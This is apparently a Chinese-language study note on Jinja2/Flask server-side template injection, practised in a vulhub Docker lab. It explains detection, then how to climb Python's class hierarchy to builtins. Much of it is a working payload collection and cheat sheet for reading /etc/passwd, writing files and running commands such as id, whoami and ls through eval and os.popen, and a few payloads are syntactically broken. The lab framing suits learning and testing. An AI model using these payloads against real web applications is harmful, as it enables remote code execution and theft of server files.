ssti学习

环境搭建

我这里用了vulhub+docker-compose搭建的环境

下载好docker、docker-compose和vulhub后，找到ssti对应文件夹，打开终端

docker-compose build
docker-compose up -d

然后用浏览器访问本机的8000端口

image-20211216223957040

漏洞检验

页面啥也没有，只能去看看源码了

image-20211216224756010

从源码得知，参数是name，用get方法传入参数

假设没看源码，需要给参数传入一些东西来检验它存不存在ssti

为了方便，这里用burpsuite抓包

image-20211216225747049

传入的是

?name={{7*7}}

页面返回49，说明这里存在ssti漏洞,而且还是jinja2的

1

漏洞利用套路

基本思路就是利用 python 中的魔术方法找到自己要用的函数

  • dict: 保存类实例或对象实例的属性变量键值对字典

  • class: 返回调用的参数类型

  • mro: 返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析

  • bases: 返回类型列表

  • subclasses: 返回object的子类

  • init: 类的初始化方法

  • globals: 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

    base和 mro都是用来寻找基类的。

第一步

使用魔术方法进行函数解析，再获取基本类：

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

[]内的数字不是固定的，这一步主要是找到object类

?name={{''.__class__.__mro__}}

image-20211217102722307

所以第一步用的payload是

?name={{''.__class__.__mro__[1]}}

image-20211217102839137

第二步

获取基本类后，继续向下获取基本类 object 的子类：

?name={{''.__class__.__mro__[1].__subclasses__()}}

image-20211217103214134

这里得到的东西有点眼花缭乱，但是不要慌，找准目标，什么都好说

这一步我们要找的是<class 'warnings.catch_warnings'>,返回的类太多，很难找到它对应的下标，一个个数，不太现实

这里写个小小脚本

str="<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'Struct'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'email.charset.Charset'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'textwrap.TextWrapper'>, <class '__future__._Feature'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'contextlib.ContextDecorator'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'zipfile.ZipInfo'>, <class 'zipfile._ZipDecrypter'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'pyexpat.xmlparser'>, <class 'plistlib.Data'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'pkg_resources.extern.packaging._structures.Infinity'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinity'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class 'gunicorn.pidfile.Pidfile'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'gunicorn.sock.BaseSocket'>, <class 'gunicorn.arbiter.Arbiter'>, <class 'gettext.NullTranslations'>, <class 'argparse._AttributeHolder'>, <class 'argparse.HelpFormatter._Section'>, <class 'argparse.HelpFormatter'>, <class 'argparse.FileType'>, <class 'argparse._ActionsContainer'>, <class 'shlex.shlex'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'gunicorn.reloader.InotifyReloader'>, <class 'gunicorn.config.Config'>, <class 'gunicorn.config.Setting'>, <class 'gunicorn.debug.Spew'>, <class 'gunicorn.app.base.BaseApplication'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'queue.Queue'>, <class 'logging.handlers.QueueListener'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'logging.config.ConvertingMixin'>, <class 'logging.config.BaseConfigurator'>, <class 'gunicorn.glogging.Logger'>, <class 'gunicorn.http.unreader.Unreader'>, <class 'gunicorn.http.body.ChunkedReader'>, <class 'gunicorn.http.body.LengthReader'>, <class 'gunicorn.http.body.EOFReader'>, <class 'gunicorn.http.body.Body'>, <class 'gunicorn.http.message.Message'>, <class 'gunicorn.http.parser.Parser'>, <class 'gunicorn.http.wsgi.FileWrapper'>, <class 'gunicorn.http.wsgi.Response'>, <class 'gunicorn.workers.workertmp.WorkerTmp'>, <class 'gunicorn.workers.base.Worker'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'concurrent.futures._base._Waiter'>, <class 'concurrent.futures._base._AcquireFutures'>, <class 'concurrent.futures._base.Future'>, <class 'concurrent.futures._base.Executor'>, <class 'multiprocessing.process.BaseProcess'>, <class 'array.array'>, <class 'multiprocessing.reduction._C'>, <class 'multiprocessing.reduction.AbstractReducer'>, <class 'multiprocessing.context.BaseContext'>, <class '_multiprocessing.SemLock'>, <class 'multiprocessing.util.Finalize'>, <class 'multiprocessing.util.ForkAwareThreadLock'>, <class 'multiprocessing.connection._ConnectionBase'>, <class 'multiprocessing.connection.Listener'>, <class 'multiprocessing.connection.SocketListener'>, <class 'multiprocessing.connection.ConnectionWrapper'>, <class 'concurrent.futures.process._ExceptionWithTraceback'>, <class 'concurrent.futures.process._WorkItem'>, <class 'concurrent.futures.process._ResultItem'>, <class 'concurrent.futures.process._CallItem'>, <class 'concurrent.futures.thread._WorkItem'>, <class 'asyncio.events.Handle'>, <class 'asyncio.events.AbstractServer'>, <class 'asyncio.events.AbstractEventLoop'>, <class 'asyncio.events.AbstractEventLoopPolicy'>, <class 'asyncio.coroutines.CoroWrapper'>, <class 'asyncio.futures._TracebackLogger'>, <class 'asyncio.futures.Future'>, <class '_asyncio.Future'>, <class '_asyncio.FutureIter'>, <class 'TaskStepMethWrapper'>, <class 'TaskWakeupMethWrapper'>, <class 'asyncio.locks._ContextManager'>, <class 'asyncio.locks._ContextManagerMixin'>, <class 'asyncio.locks.Event'>, <class 'asyncio.protocols.BaseProtocol'>, <class 'asyncio.queues.Queue'>, <class 'asyncio.streams.StreamWriter'>, <class 'asyncio.streams.StreamReader'>, <class 'asyncio.subprocess.Process'>, <class 'asyncio.transports.BaseTransport'>, <class 'asyncio.sslproto._SSLPipe'>, <class 'asyncio.unix_events.AbstractChildWatcher'>, <class 'jinja2.asyncsupport.AsyncLoopContextIterator'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>"
str=str.split(",")
for i in str:
    if "catch_warnings" in i:
       # print(i)
        print (str.index(i))

运行脚本得到<class 'warnings.catch_warnings'>在列表的166位置

image-20211217103947375

所以这一步的payload为：

?name={{''.__class__.__mro__[1].__subclasses__()[166]}}

image-20211217104135330

第三步

找到重载过的init类（在获取初始化属性后，带 wrapper 的说明没有重载，寻找不带 warpper 的）：

?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__}}

image-20211217104732910

第四步

查看其引用 builtins

Python 程序一旦启动，它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入，它在任何模块都直接可见，所以这里直接调用引用的模块。

?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__']}}

image-20211217105126261

这里返回的是字典，里面有许多常用的函数,如果存在，直接调用即可

使用 keys 中的 file 以实现读取文件的功能：

?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__'].['file']('F://GetFlag.txt').read()}}

?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}

写文件

?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__'].['file']('/etc/passwd').write()}}

存在的子模块可以通过 .index() 来进行查询，如果存在的话返回索引，直接调用即可。（这里我还没有搞懂）

还有另外的方法：

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

写文件换为 .write() 即可。

命令执行

  • 利用eval进行命令执行。
?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}

image-20211217111206867

  • 利用warnings.catch_warnings 进行命令执行。

首先，查看 warnings.catch_warnings 方法的位置：

[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

查看 linecatch 的位置：

[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')

查找 os 模块的位置：

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')

查找 system 方法的位置：

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')

调用 system 方法：

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
  • 利用 commands 进行命令执行。
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')


{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')


{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

官方payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

常用的ssti—payload

python2：

#文件读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

#每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  

#命令执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

#这条指令可以注入，但是如果直接进入python2打这个poc，会报错，用下面这个就不会，可能是python启动会加载了某些模块
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

#system函数换为popen('').read()，需要导入os模块
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

#不需要导入os模块，直接从别的模块调用
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

python3

#读文件
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}

#命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

#命令执行（变种）
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#读文件（变种）
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}